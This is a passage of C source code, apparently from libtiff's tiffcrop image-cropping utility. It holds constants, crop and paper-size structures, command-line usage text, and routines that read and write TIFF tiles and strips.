4 #define CROP_ZONES 8 #define CROP_REGIONS 16 #define CROP_ROTATE 32 #define CROP_MIRROR 64 #define CROP_INVERT 128 /* Modes for writing out images and selections */ #define ONE_FILE_COMPOSITE 0 /* One file, sections combined sections */ #define ONE_FILE_SEPARATED 1 /* One file, sections to new IFDs */ #define FILE_PER_IMAGE_COMPOSITE 2 /* One file per image, combined sections */ #define FILE_PER_IMAGE_SEPARATED 3 /* One file per input image */ #define FILE_PER_SELECTION 4 /* One file per selection */ #define COMPOSITE_IMAGES 0 /* Selections combined into one image */ #define SEPARATED_IMAGES 1 /* Selections saved to separate images */ #define STRIP 1 #define TILE 2 #define MAX_REGIONS 8 /* number of regions to extract from a single page */ #define MAX_OUTBUFFS 8 /* must match larger of zones or regions */ #define MAX_SECTIONS 32 /* number of sections per page to write to output */ #define MAX_IMAGES 2048 /* number of images in descrete list, not in the file */ #define MAX_SAMPLES 8 /* maximum number of samples per pixel supported */ #define MAX_BITS_PER_SAMPLE 64 /* maximum bit depth supported */ #define MAX_EXPORT_PAGES 999999 /* maximum number of export pages per file */ #define DUMP_NONE 0 #define DUMP_TEXT 1 #define DUMP_RAW 2 /* Offsets into buffer for margins and fixed width and length segments */ struct offset { uint32 tmargin; uint32 lmargin; uint32 bmargin; uint32 rmargin; uint32 crop_width; uint32 crop_length; uint32 startx; uint32 endx; uint32 starty; uint32 endy; }; /* Description of a zone within the image. Position 1 of 3 zones would be * the first third of the image. These are computed after margins and * width/length requests are applied so that you can extract multiple * zones from within a larger region for OCR or barcode recognition. */ struct buffinfo { uint32 size; /* size of this buffer */ unsigned char *buffer; /* address of the allocated buffer */ }; struct zone { int position; /* ordinal of segment to be extracted */ int total; /* total equal sized divisions of crop area */ }; struct pageseg { uint32 x1; /* index of left edge */ uint32 x2; /* index of right edge */ uint32 y1; /* index of top edge */ uint32 y2; /* index of bottom edge */ int position; /* ordinal of segment to be extracted */ int total; /* total equal sized divisions of crop area */ uint32 buffsize; /* size of buffer needed to hold the cropped zone */ }; struct coordpairs { double X1; /* index of left edge in current units */ double X2; /* index of right edge in current units */ double Y1; /* index of top edge in current units */ double Y2; /* index of bottom edge in current units */ }; struct region { uint32 x1; /* pixel offset of left edge */ uint32 x2; /* pixel offset of right edge */ uint32 y1; /* pixel offset of top edge */ uint32 y2; /* picel offset of bottom edge */ uint32 width; /* width in pixels */ uint32 length; /* length in pixels */ uint32 buffsize; /* size of buffer needed to hold the cropped region */ unsigned char *buffptr; /* address of start of the region */ }; /* Cropping parameters from command line and image data * Note: This should be renamed to proc_opts and expanded to include all current globals * if possible, but each function that accesses global variables will have to be redone. */ struct crop_mask { double width; /* Selection width for master crop region in requested units */ double length; /* Selection length for master crop region in requesed units */ double margins[4]; /* Top, left, bottom, right margins */ float xres; /* Horizontal resolution read from image*/ float yres; /* Vertical resolution read from image */ uint32 combined_width; /* Width of combined cropped zones */ uint32 combined_length; /* Length of combined cropped zones */ uint32 bufftotal; /* Size of buffer needed to hold all the cropped region */ uint16 img_mode; /* Composite or separate images created from zones or regions */ uint16 exp_mode; /* Export input images or selections to one or more files */ uint16 crop_mode; /* Crop options to be applied */ uint16 res_unit; /* Resolution unit for margins and selections */ uint16 edge_ref; /* Reference edge for sections extraction and combination */ uint16 rotation; /* Clockwise rotation of the extracted region or image */ uint16 mirror; /* Mirror extracted region or image horizontally or vertically */ uint16 invert; /* Invert the color map of image or region */ uint16 photometric; /* Status of photometric interpretation for inverted image */ uint16 selections; /* Number of regions or zones selected */ uint16 regions; /* Number of regions delimited by corner coordinates */ struct region regionlist[MAX_REGIONS]; /* Regions within page or master crop region */ uint16 zones; /* Number of zones delimited by Ordinal:Total requested */ struct zone zonelist[MAX_REGIONS]; /* Zones indices to define a region */ struct coordpairs corners[MAX_REGIONS]; /* Coordinates of upper left and lower right corner */ }; #define MAX_PAPERNAMES 49 #define MAX_PAPERNAME_LENGTH 15 #define DEFAULT_RESUNIT RESUNIT_INCH #define DEFAULT_PAGE_HEIGHT 14.0 #define DEFAULT_PAGE_WIDTH 8.5 #define DEFAULT_RESOLUTION 300 #define DEFAULT_PAPER_SIZE "legal" #define ORIENTATION_NONE 0 #define ORIENTATION_PORTRAIT 1 #define ORIENTATION_LANDSCAPE 2 #define ORIENTATION_SEASCAPE 4 #define ORIENTATION_AUTO 16 #define PAGE_MODE_NONE 0 #define PAGE_MODE_RESOLUTION 1 #define PAGE_MODE_PAPERSIZE 2 #define PAGE_MODE_MARGINS 4 #define PAGE_MODE_ROWSCOLS 8 #define INVERT_DATA_ONLY 10 #define INVERT_DATA_AND_TAG 11 struct paperdef { char name[MAX_PAPERNAME_LENGTH]; double width; double length; double asratio; }; /* European page sizes corrected from update sent by * thomas . jarosch @ intra2net . com on 5/7/2010 * Paper Size Width Length Aspect Ratio */ struct paperdef PaperTable[MAX_PAPERNAMES] = { {"default", 8.500, 14.000, 0.607}, {"pa4", 8.264, 11.000, 0.751}, {"letter", 8.500, 11.000, 0.773}, {"legal", 8.500, 14.000, 0.607}, {"half-letter", 8.500, 5.514, 1.542}, {"executive", 7.264, 10.528, 0.690}, {"tabloid", 11.000, 17.000, 0.647}, {"11x17", 11.000, 17.000, 0.647}, {"ledger", 17.000, 11.000, 1.545}, {"archa", 9.000, 12.000, 0.750}, {"archb", 12.000, 18.000, 0.667}, {"archc", 18.000, 24.000, 0.750}, {"archd", 24.000, 36.000, 0.667}, {"arche", 36.000, 48.000, 0.750}, {"csheet", 17.000, 22.000, 0.773}, {"dsheet", 22.000, 34.000, 0.647}, {"esheet", 34.000, 44.000, 0.773}, {"superb", 11.708, 17.042, 0.687}, {"commercial", 4.139, 9.528, 0.434}, {"monarch", 3.889, 7.528, 0.517}, {"envelope-dl", 4.333, 8.681, 0.499}, {"envelope-c5", 6.389, 9.028, 0.708}, {"europostcard", 4.139, 5.833, 0.710}, {"a0", 33.110, 46.811, 0.707}, {"a1", 23.386, 33.110, 0.706}, {"a2", 16.535, 23.386, 0.707}, {"a3", 11.693, 16.535, 0.707}, {"a4", 8.268, 11.693, 0.707}, {"a5", 5.827, 8.268, 0.705}, {"a6", 4.134, 5.827, 0.709}, {"a7", 2.913, 4.134, 0.705}, {"a8", 2.047, 2.913, 0.703}, {"a9", 1.457, 2.047, 0.712}, {"a10", 1.024, 1.457, 0.703}, {"b0", 39.370, 55.669, 0.707}, {"b1", 27.835, 39.370, 0.707}, {"b2", 19.685, 27.835, 0.707}, {"b3", 13.898, 19.685, 0.706}, {"b4", 9.843, 13.898, 0.708}, {"b5", 6.929, 9.843, 0.704}, {"b6", 4.921, 6.929, 0.710}, {"c0", 36.102, 51.063, 0.707}, {"c1", 25.512, 36.102, 0.707}, {"c2", 18.031, 25.512, 0.707}, {"c3", 12.756, 18.031, 0.707}, {"c4", 9.016, 12.756, 0.707}, {"c5", 6.378, 9.016, 0.707}, {"c6", 4.488, 6.378, 0.704}, {"", 0.000, 0.000, 1.000} }; /* Structure to define input image parameters */ struct image_data { float xres; float yres; uint32 width; uint32 length; uint16 res_unit; uint16 bps; uint16 spp; uint16 planar; uint16 photometric; uint16 orientation; uint16 compression; uint16 adjustments; }; /* Structure to define the output image modifiers */ struct pagedef { char name[16]; double width; /* width in pixels */ double length; /* length in pixels */ double hmargin; /* margins to subtract from width of sections */ double vmargin; /* margins to subtract from height of sections */ double hres; /* horizontal resolution for output */ double vres; /* vertical resolution for output */ uint32 mode; /* bitmask of modifiers to page format */ uint16 res_unit; /* resolution unit for output image */ unsigned int rows; /* number of section rows */ unsigned int cols; /* number of section cols */ unsigned int orient; /* portrait, landscape, seascape, auto */ }; struct dump_opts { int debug; int format; int level; char mode[4]; char infilename[PATH_MAX + 1]; char outfilename[PATH_MAX + 1]; FILE *infile; FILE *outfile; }; /* globals */ static int outtiled = -1; static uint32 tilewidth = 0; static uint32 tilelength = 0; static uint16 config = 0; static uint16 compression = 0; static uint16 predictor = 0; static uint16 fillorder = 0; static uint32 rowsperstrip = 0; static uint32 g3opts = 0; static int ignore = FALSE; /* if true, ignore read errors */ static uint32 defg3opts = (uint32) -1; static int quality = 100; /* JPEG quality */ /* static int jpegcolormode = -1; was JPEGCOLORMODE_RGB; */ static int jpegcolormode = JPEGCOLORMODE_RGB; static uint16 defcompression = (uint16) -1; static uint16 defpredictor = (uint16) -1; static int pageNum = 0; static int little_endian = 1; /* Functions adapted from tiffcp with additions or significant modifications */ static int readContigStripsIntoBuffer (TIFF*, uint8*); static int readSeparateStripsIntoBuffer (TIFF*, uint8*, uint32, uint32, tsample_t, struct dump_opts *); static int readContigTilesIntoBuffer (TIFF*, uint8*, uint32, uint32, uint32, uint32, tsample_t, uint16); static int readSeparateTilesIntoBuffer (TIFF*, uint8*, uint32, uint32, uint32, uint32, tsample_t, uint16); static int writeBufferToContigStrips (TIFF*, uint8*, uint32); static int writeBufferToContigTiles (TIFF*, uint8*, uint32, uint32, tsample_t, struct dump_opts *); static int writeBufferToSeparateStrips (TIFF*, uint8*, uint32, uint32, tsample_t, struct dump_opts *); static int writeBufferToSeparateTiles (TIFF*, uint8*, uint32, uint32, tsample_t, struct dump_opts *); static int extractContigSamplesToBuffer (uint8 *, uint8 *, uint32, uint32, tsample_t, uint16, uint16, struct dump_opts *); static int processCompressOptions(char*); static void usage(void); /* All other functions by Richard Nolde, not found in tiffcp */ static void initImageData (struct image_data *); static void initCropMasks (struct crop_mask *); static void initPageSetup (struct pagedef *, struct pageseg *, struct buffinfo []); static void initDumpOptions(struct dump_opts *); /* Command line and file naming functions */ void process_command_opts (int, char *[], char *, char *, uint32 *, uint16 *, uint16 *, uint32 *, uint32 *, uint32 *, struct crop_mask *, struct pagedef *, struct dump_opts *, unsigned int *, unsigned int *); static int update_output_file (TIFF **, char *, int, char *, unsigned int *); /* * High level functions for whole image manipulation */ static int get_page_geometry (char *, struct pagedef*); static int computeInputPixelOffsets(struct crop_mask *, struct image_data *, struct offset *); static int computeOutputPixelOffsets (struct crop_mask *, struct image_data *, struct pagedef *, struct pageseg *, struct dump_opts *); static int loadImage(TIFF *, struct image_data *, struct dump_opts *, unsigned char **); static int correct_orientation(struct image_data *, unsigned char **); static int getCropOffsets(struct image_data *, struct crop_mask *, struct dump_opts *); static int processCropSelections(struct image_data *, struct crop_mask *, unsigned char **, struct buffinfo []); static int writeSelections(TIFF *, TIFF **, struct crop_mask *, struct image_data *, struct dump_opts *, struct buffinfo [], char *, char *, unsigned int*, unsigned int); /* Section functions */ static int createImageSection(uint32, unsigned char **); static int extractImageSection(struct image_data *, struct pageseg *, unsigned char *, unsigned char *); static int writeSingleSection(TIFF *, TIFF *, struct image_data *, struct dump_opts *, uint32, uint32, double, double, unsigned char *); static int writeImageSections(TIFF *, TIFF *, struct image_data *, struct pagedef *, struct pageseg *, struct dump_opts *, unsigned char *, unsigned char **); /* Whole image functions */ static int createCroppedImage(struct image_data *, struct crop_mask *, unsigned char **, unsigned char **); static int writeCroppedImage(TIFF *, TIFF *, struct image_data *image, struct dump_opts * dump, uint32, uint32, unsigned char *, int, int); /* Image manipulation functions */ static int rotateContigSamples8bits(uint16, uint16, uint16, uint32, uint32, uint32, uint8 *, uint8 *); static int rotateContigSamples16bits(uint16, uint16, uint16, uint32, uint32, uint32, uint8 *, uint8 *); static int rotateContigSamples24bits(uint16, uint16, uint16, uint32, uint32, uint32, uint8 *, uint8 *); static int rotateContigSamples32bits(uint16, uint16, uint16, uint32, uint32, uint32, uint8 *, uint8 *); static int rotateImage(uint16, struct image_data *, uint32 *, uint32 *, unsigned char **); static int mirrorImage(uint16, uint16, uint16, uint32, uint32, unsigned char *); static int invertImage(uint16, uint16, uint16, uint32, uint32, unsigned char *); /* Functions to reverse the sequence of samples in a scanline */ static int reverseSamples8bits (uint16, uint16, uint32, uint8 *, uint8 *); static int reverseSamples16bits (uint16, uint16, uint32, uint8 *, uint8 *); static int reverseSamples24bits (uint16, uint16, uint32, uint8 *, uint8 *); static int reverseSamples32bits (uint16, uint16, uint32, uint8 *, uint8 *); static int reverseSamplesBytes (uint16, uint16, uint32, uint8 *, uint8 *); /* Functions for manipulating individual samples in an image */ static int extractSeparateRegion(struct image_data *, struct crop_mask *, unsigned char *, unsigned char *, int); static int extractCompositeRegions(struct image_data *, struct crop_mask *, unsigned char *, unsigned char *); static int extractContigSamples8bits (uint8 *, uint8 *, uint32, tsample_t, uint16, uint16, tsample_t, uint32, uint32); static int extractContigSamples16bits (uint8 *, uint8 *, uint32, tsample_t, uint16, uint16, tsample_t, uint32, uint32); static int extractContigSamples24bits (uint8 *, uint8 *, uint32, tsample_t, uint16, uint16, tsample_t, uint32, uint32); static int extractContigSamples32bits (uint8 *, uint8 *, uint32, tsample_t, uint16, uint16, tsample_t, uint32, uint32); static int extractContigSamplesBytes (uint8 *, uint8 *, uint32, tsample_t, uint16, uint16, tsample_t, uint32, uint32); static int extractContigSamplesShifted8bits (uint8 *, uint8 *, uint32, tsample_t, uint16, uint16, tsample_t, uint32, uint32, int); static int extractContigSamplesShifted16bits (uint8 *, uint8 *, uint32, tsample_t, uint16, uint16, tsample_t, uint32, uint32, int); static int extractContigSamplesShifted24bits (uint8 *, uint8 *, uint32, tsample_t, uint16, uint16, tsample_t, uint32, uint32, int); static int extractContigSamplesShifted32bits (uint8 *, uint8 *, uint32, tsample_t, uint16, uint16, tsample_t, uint32, uint32, int); static int extractContigSamplesToTileBuffer(uint8 *, uint8 *, uint32, uint32, uint32, uint32, tsample_t, uint16, uint16, uint16, struct dump_opts *); /* Functions to combine separate planes into interleaved planes */ static int combineSeparateSamples8bits (uint8 *[], uint8 *, uint32, uint32, uint16, uint16, FILE *, int, int); static int combineSeparateSamples16bits (uint8 *[], uint8 *, uint32, uint32, uint16, uint16, FILE *, int, int); static int combineSeparateSamples24bits (uint8 *[], uint8 *, uint32, uint32, uint16, uint16, FILE *, int, int); static int combineSeparateSamples32bits (uint8 *[], uint8 *, uint32, uint32, uint16, uint16, FILE *, int, int); static int combineSeparateSamplesBytes (unsigned char *[], unsigned char *, uint32, uint32, tsample_t, uint16, FILE *, int, int); static int combineSeparateTileSamples8bits (uint8 *[], uint8 *, uint32, uint32, uint32, uint32, uint16, uint16, FILE *, int, int); static int combineSeparateTileSamples16bits (uint8 *[], uint8 *, uint32, uint32, uint32, uint32, uint16, uint16, FILE *, int, int); static int combineSeparateTileSamples24bits (uint8 *[], uint8 *, uint32, uint32, uint32, uint32, uint16, uint16, FILE *, int, int); static int combineSeparateTileSamples32bits (uint8 *[], uint8 *, uint32, uint32, uint32, uint32, uint16, uint16, FILE *, int, int); static int combineSeparateTileSamplesBytes (unsigned char *[], unsigned char *, uint32, uint32, uint32, uint32, tsample_t, uint16, FILE *, int, int); /* Dump functions for debugging */ static void dump_info (FILE *, int, char *, char *, ...); static int dump_data (FILE *, int, char *, unsigned char *, uint32); static int dump_byte (FILE *, int, char *, unsigned char); static int dump_short (FILE *, int, char *, uint16); static int dump_long (FILE *, int, char *, uint32); static int dump_wide (FILE *, int, char *, uint64); static int dump_buffer (FILE *, int, uint32, uint32, uint32, unsigned char *); /* End function declarations */ /* Functions derived in whole or in part from tiffcp */ /* The following functions are taken largely intact from tiffcp */ static char* usage_info[] = { "usage: tiffcrop [options] source1 ... sourceN destination", "where options are:", " -h Print this syntax listing", " -v Print tiffcrop version identifier and last revision date", " ", " -a Append to output instead of overwriting", " -d offset Set initial directory offset, counting first image as one, not zero", " -p contig Pack samples contiguously (e.g. RGBRGB...)", " -p separate Store samples separately (e.g. RRR...GGG...BBB...)", " -s Write output in strips", " -t Write output in tiles", " -i Ignore read errors", " ", " -r # Make each strip have no more than # rows", " -w # Set output tile width (pixels)", " -l # Set output tile length (pixels)", " ", " -f lsb2msb Force lsb-to-msb FillOrder for output", " -f msb2lsb Force msb-to-lsb FillOrder for output", "", " -c lzw[:opts] Compress output with Lempel-Ziv & Welch encoding", " -c zip[:opts] Compress output with deflate encoding", " -c jpeg[:opts] Compress output with JPEG encoding", " -c packbits Compress output with packbits encoding", " -c g3[:opts] Compress output with CCITT Group 3 encoding", " -c g4 Compress output with CCITT Group 4 encoding", " -c none Use no compression algorithm on output", " ", "Group 3 options:", " 1d Use default CCITT Group 3 1D-encoding", " 2d Use optional CCITT Group 3 2D-encoding", " fill Byte-align EOL codes", "For example, -c g3:2d:fill to get G3-2D-encoded data with byte-aligned EOLs", " ", "JPEG options:", " # Set compression quality level (0-100, default 100)", " raw Output color image as raw YCbCr", " rgb Output color image as RGB", "For example, -c jpeg:rgb:50 to get JPEG-encoded RGB data with 50% comp. quality", " ", "LZW and deflate options:", " # Set predictor value", "For example, -c lzw:2 to get LZW-encoded data with horizontal differencing", " ", "Page and selection options:", " -N odd|even|#,#-#,#|last sequences and ranges of images within file to process", " The words odd or even may be used to specify all odd or even numbered images.", " The word last may be used in place of a number in the sequence to indicate.", " The final image in the file without knowing how many images there are.", " Numbers are counted from one even though TIFF IFDs are counted from zero.", " ", " -E t|l|r|b edge to use as origin for width and length of crop region", " -U units [in, cm, px ] inches, centimeters or pixels", " ", " -m #,#,#,# margins from edges for selection: top, left, bottom, right separated by commas", " -X # horizontal dimension of region to extract expressed in current units", " -Y # vertical dimension of region to extract expressed in current units", " -Z #:#,#:# zones of the image designated as position X of Y,", " eg 1:3 would be first of three equal portions measured from reference edge", " -z x1,y1,x2,y2:...:xN,yN,xN+1,yN+1", " regions of the image designated by upper left and lower right coordinates", "", "Export grouping options:", " -e c|d|i|m|s export mode for images and selections from input images.", " When exporting a composite image from multiple zones or regions", " (combined and image modes), the selections must have equal sizes", " for the axis perpendicular to the edge specified with -E.", " c|combined All images and selections are written to a single file (default).", " with multiple selections from one image combined into a single image.", " d|divided All images and selections are written to a single file", " with each selection from one image written to a new image.", " i|image Each input image is written to a new file (numeric filename sequence)", " with multiple selections from the image combined into one image.", " m|multiple Each input image is written to a new file (numeric filename sequence)", " with each selection from the image written to a new image.", " s|separated Individual selections from each image are written to separate files.", "", "Output options:", " -H # Set horizontal resolution of output images to #", " -V # Set vertical resolution of output images to #", " -J # Set horizontal margin of output page to # expressed in current units", " when sectioning image into columns x rows using the -S cols:rows option", " -K # Set verticalal margin of output page to # expressed in current units", " when sectioning image into columns x rows using the -S cols:rows option", " ", " -O orient orientation for output image, portrait, landscape, auto", " -P page page size for output image segments, eg letter, legal, tabloid, etc", " use #.#x#.# to specify a custom page size in the currently defined units", " where #.# represents the width and length", " -S cols:rows Divide the image into equal sized segments using cols across and rows down.", " ", " -F hor|vert|both", " flip (mirror) image or region horizontally, vertically, or both", " -R # [90,180,or 270] degrees clockwise rotation of image or extracted region", " -I [black|white|data|both]", " invert color space, eg dark to light for bilevel and grayscale images", " If argument is white or black, set the PHOTOMETRIC_INTERPRETATION ", " tag to MinIsBlack or MinIsWhite without altering the image data", " If the argument is data or both, the image data are modified:", " both inverts the data and the PHOTOMETRIC_INTERPRETATION tag,", " data inverts the data but not the PHOTOMETRIC_INTERPRETATION tag", " ", "-D opt1:value1,opt2:value2,opt3:value3:opt4:value4", " Debug/dump program progress and/or data to non-TIFF files.", " Options include the following and must be joined as a comma", " separate list. The use of this option is generally limited to", " program debugging and development of future options.", " ", " debug:N Display limited program progress indicators where larger N", " increase the level of detail. Note: Tiffcrop may be compiled with", " -DDEVELMODE to enable additional very low level debug reporting.", "", " Format:txt|raw Format any logged data as ASCII text or raw binary ", " values. ASCII text dumps include strings of ones and zeroes", " representing the binary values in the image data plus identifying headers.", " ", " level:N Specify the level of detail presented in the dump files.", " This can vary from dumps of the entire input or output image data to dumps", " of data processed by specific functions. Current range of levels is 1 to 3.", " ", " input:full-path-to-directory/input-dumpname", " ", " output:full-path-to-directory/output-dumpnaem", " ", " When dump files are being written, each image will be written to a separate", " file with the name built by adding a numeric sequence value to the dumpname", " and an extension of .txt for ASCII dumps or .bin for binary dumps.", " ", " The four debug/dump options are independent, though it makes little sense to", " specify a dump file without specifying a detail level.", " ", NULL }; /* This function could be modified to pass starting sample offset * and number of samples as args to select fewer than spp * from input image. These would then be passed to individual * extractContigSampleXX routines. */ static int readContigTilesIntoBuffer (TIFF* in, uint8* buf, uint32 imagelength, uint32 imagewidth, uint32 tw, uint32 tl, tsample_t spp, uint16 bps) { int status = 1; tsample_t sample = 0; tsample_t count = spp; uint32 row, col, trow; uint32 nrow, ncol; uint32 dst_rowsize, shift_width; uint32 bytes_per_sample, bytes_per_pixel; uint32 trailing_bits, prev_trailing_bits; uint32 tile_rowsize = TIFFTileRowSize(in); uint32 src_offset, dst_offset; uint32 row_offset, col_offset; uint8 *bufp = (uint8*) buf; unsigned char *src = NULL; unsigned char *dst = NULL; tsize_t tbytes = 0, tile_buffsize = 0; tsize_t tilesize = TIFFTileSize(in); unsigned char *tilebuf = NULL; bytes_per_sample = (bps + 7) / 8; bytes_per_pixel = ((bps * spp) + 7) / 8; if ((bps % 8) == 0) shift_width = 0; else { if (bytes_per_pixel < (bytes_per_sample + 1)) shift_width = bytes_per_pixel; else shift_width = bytes_per_sample + 1; } tile_buffsize = tilesize; if (tilesize == 0 || tile_rowsize == 0) { TIFFError("readContigTilesIntoBuffer", "Tile size or tile rowsize is zero"); exit(-1); } if (tilesize < (tsize_t)(tl * tile_rowsize)) { #ifdef DEBUG2 TIFFError("readContigTilesIntoBuffer", "Tilesize %lu is too small, using alternate calculation %u", tilesize, tl * tile_rowsize); #endif tile_buffsize = tl * tile_rowsize; if (tl != (tile_buffsize / tile_rowsize)) { TIFFError("readContigTilesIntoBuffer", "Integer overflow when calculating buffer size."); exit(-1); } } tilebuf = _TIFFmalloc(tile_buffsize); if (tilebuf == 0) return 0; dst_rowsize = ((imagewidth * bps * spp) + 7) / 8; for (row = 0; row < imagelength; row += tl) { nrow = (row + tl > imagelength) ? imagelength - row : tl; for (col = 0; col < imagewidth; col += tw) { tbytes = TIFFReadTile(in, tilebuf, col, row, 0, 0); if (tbytes < tilesize && !ignore) { TIFFError(TIFFFileName(in), "Error, can't read tile at row %lu col %lu, Read %lu bytes of %lu", (unsigned long) col, (unsigned long) row, (unsigned long)tbytes, (unsigned long)tilesize); status = 0; _TIFFfree(tilebuf); return status; } row_offset = row * dst_rowsize; col_offset = ((col * bps * spp) + 7)/ 8; bufp = buf + row_offset + col_offset; if (col + tw > imagewidth) ncol = imagewidth - col; else ncol = tw; /* Each tile scanline will start on a byte boundary but it * has to be merged into the scanline for the entire * image buffer and the previous segment may not have * ended on a byte boundary */ /* Optimization for common bit depths, all samples */ if (((bps % 8) == 0) && (count == spp)) { for (trow = 0; trow < nrow; trow++) { src_offset = trow * tile_rowsize; _TIFFmemcpy (bufp, tilebuf + src_offset, (ncol * spp * bps) / 8); bufp += (imagewidth * bps * spp) / 8; } } else { /* Bit depths not a multiple of 8 and/or extract fewer than spp samples */ prev_trailing_bits = trailing_bits = 0; trailing_bits = (ncol * bps * spp) % 8; /* for (trow = 0; tl < nrow; trow++) */ for (trow = 0; trow < nrow; trow++) { src_offset = trow * tile_rowsize; src = tilebuf + src_offset; dst_offset = (row + trow) * dst_rowsize; dst = buf + dst_offset + col_offset; switch (shift_width) { case 0: if (extractContigSamplesBytes (src, dst, ncol, sample, spp, bps, count, 0, ncol)) { TIFFError("readContigTilesIntoBuffer", "Unable to extract row %d from tile %lu", row, (unsigned long)TIFFCurrentTile(in)); return 1; } break; case 1: if (bps == 1) { if (extractContigSamplesShifted8bits (src, dst, ncol, sample, spp, bps, count, 0, ncol, prev_trailing_bits)) { TIFFError("readContigTilesIntoBuffer", "Unable to extract row %d from tile %lu", row, (unsigned long)TIFFCurrentTile(in)); return 1; } break; } else if (extractContigSamplesShifted16bits (src, dst, ncol, sample, spp, bps, count, 0, ncol, prev_trailing_bits)) { TIFFError("readContigTilesIntoBuffer", "Unable to extract row %d from tile %lu", row, (unsigned long)TIFFCurrentTile(in)); return 1; } break; case 2: if (extractContigSamplesShifted24bits (src, dst, ncol, sample, spp, bps, count, 0, ncol, prev_trailing_bits)) { TIFFError("readContigTilesIntoBuffer", "Unable to extract row %d from tile %lu", row, (unsigned long)TIFFCurrentTile(in)); return 1; } break; case 3: case 4: case 5: if (extractContigSamplesShifted32bits (src, dst, ncol, sample, spp, bps, count, 0, ncol, prev_trailing_bits)) { TIFFError("readContigTilesIntoBuffer", "Unable to extract row %d from tile %lu", row, (unsigned long)TIFFCurrentTile(in)); return 1; } break; default: TIFFError("readContigTilesIntoBuffer", "Unsupported bit depth %d", bps); return 1; } } prev_trailing_bits += trailing_bits; /* if (prev_trailing_bits > 7) */ /* prev_trailing_bits-= 8; */ } } } _TIFFfree(tilebuf); return status; } static int readSeparateTilesIntoBuffer (TIFF* in, uint8 *obuf, uint32 imagelength, uint32 imagewidth, uint32 tw, uint32 tl, uint16 spp, uint16 bps) { int i, status = 1, sample; int shift_width, bytes_per_pixel; uint16 bytes_per_sample; uint32 row, col; /* Current row and col of image */ uint32 nrow, ncol; /* Number of rows and cols in current tile */ uint32 row_offset, col_offset; /* Output buffer offsets */ tsize_t tbytes = 0, tilesize = TIFFTileSize(in); tsample_t s; uint8* bufp = (uint8*)obuf; unsigned char *srcbuffs[MAX_SAMPLES]; unsigned char *tbuff = NULL; bytes_per_sample = (bps + 7) / 8; for (sample = 0; (sample < spp) && (sample < MAX_SAMPLES); sample++) { srcbuffs[sample] = NULL; tbuff = (unsigned char *)_TIFFmalloc(tilesize + 8); if (!tbuff) { TIFFError ("readSeparateTilesIntoBuffer", "Unable to allocate tile read buffer for sample %d", sample); for (i = 0; i < sample; i++) _TIFFfree (srcbuffs[i]); return 0; } srcbuffs[sample] = tbuff; } /* Each tile contains only the data for a single plane * arranged in scanlines of tw * bytes_per_sample bytes. */ for (row = 0; row < imagelength; row += tl) { nrow = (row + tl > imagelength) ? imagelength - row : tl; for (col = 0; col < imagewidth; col += tw) { for (s = 0; s < spp && s < MAX_SAMPLES; s++) { /* Read each plane of a tile set into srcbuffs[s] */ tbytes = TIFFReadTile(in, srcbuffs[s], col, row, 0, s); if (tbytes < 0 && !ignore) { TIFFError(TIFFFileName(in), "Error, can't read tile for row %lu col %lu, " "sample %lu", (unsigned long) col, (unsigned long) row, (unsigned long) s); status = 0; for (sample = 0; (sample < spp) && (sample < MAX_SAMPLES); sample++) { tbuff = srcbuffs[sample]; if (tbuff != NULL) _TIFFfree(tbuff); } return status; } } /* Tiles on the right edge may be padded out to tw * which must be a multiple of 16. * Ncol represents the visible (non padding) portion. */ if (col + tw > imagewidth) ncol = imagewidth - col; else ncol = tw; row_offset = row * (((imagewidth * spp * bps) + 7) / 8); col_offset = ((col * spp * bps) + 7) / 8; bufp = obuf + row_offset + col_offset; if ((bps % 8) == 0) { if (combineSeparateTileSamplesBytes(srcbuffs, bufp, ncol, nrow, imagewidth, tw, spp, bps, NULL, 0, 0)) { status = 0; break; } } else { bytes_per_pixel = ((bps * spp) + 7) / 8; if (bytes_per_pixel < (bytes_per_sample + 1)) shift_width = bytes_per_pixel; else shift_width = bytes_per_sample + 1; switch (shift_width) { case 1: if (combineSeparateTileSamples8bits (srcbuffs, bufp, ncol, nrow, imagewidth, tw, spp, bps, NULL, 0, 0)) { status = 0; break; } break; case 2: if (combineSeparateTileSamples16bits (srcbuffs, bufp, ncol, nrow, imagewidth, tw, spp, bps, NULL, 0, 0)) { status = 0; break; } break; case 3: if (combineSeparateTileSamples24bits (srcbuffs, bufp, ncol, nrow, imagewidth, tw, spp, bps, NULL, 0, 0)) { status = 0; break; } break; case 4: case 5: case 6: case 7: case 8: if (combineSeparateTileSamples32bits (srcbuffs, bufp, ncol, nrow, imagewidth, tw, spp, bps, NULL, 0, 0)) { status = 0; break; } break; default: TIFFError ("readSeparateTilesIntoBuffer", "Unsupported bit depth: %d", bps); status = 0; break; } } } } for (sample = 0; (sample < spp) && (sample < MAX_SAMPLES); sample++) { tbuff = srcbuffs[sample]; if (tbuff != NULL) _TIFFfree(tbuff); } return status; } static int writeBufferToContigStrips(TIFF* out, uint8* buf, uint32 imagelength) { uint32 row, nrows, rowsperstrip; tstrip_t strip = 0; tsize_t stripsize; TIFFGetFieldDefaulted(out, TIFFTAG_ROWSPERSTRIP, &rowsperstrip); for (row = 0; row < imagelength; row += rowsperstrip) { nrows = (row + rowsperstrip > imagelength) ? imagelength - row : rowsperstrip; stripsize = TIFFVStripSize(out, nrows); if (TIFFWriteEncodedStrip(out, strip++, buf, stripsize) < 0) { TIFFError(TIFFFileName(out), "Error, can't write strip %u", strip - 1); return 1; } buf += stripsize; } return 0; } /* Abandon plans to modify code so that plannar orientation separate images * do not have all samples for each channel written before all samples * for the next channel have been abandoned. * Libtiff internals seem to depend on all data for a given sample * being contiguous within a strip or tile when PLANAR_CONFIG is * separate. All strips or tiles of a given plane are written * before any strips or tiles of a different plane are stored. */ static int writeBufferToSeparateStrips (TIFF* out, uint8* buf, uint32 length, uint32 width, uint16 spp, struct dump_opts *dump) { uint8 *src; uint16 bps; uint32 row, nrows, rowsize, rowsperstrip; uint32 bytes_per_sample; tsample_t s; tstrip_t strip = 0; tsize_t stripsize = TIFFStripSize(out); tsize_t rowstripsize, scanlinesize = TIFFScanlineSize(out); tsize_t total_bytes = 0; tdata_t obuf; (void) TIFFGetFieldDefaulted(out, TIFFTAG_ROWSPERSTRIP, &rowsperstrip); (void) TIFFGetField(out, TIFFTAG_BITSPERSAMPLE, &bps); bytes_per_sample = (bps + 7) / 8; rowsize = ((bps * spp * width) + 7) / 8; /* source has interleaved samples */ rowstripsize = rowsperstrip * bytes_per_sample * (width + 1); obuf = _TIFFmalloc (rowstripsize); if (obuf == NULL) return 1; for (s = 0; s < spp; s++) { for (row = 0; row < length; row += rowsperstrip) { nrows = (row + rowsperstrip > length) ? length - row : rowsperstrip; stripsize = 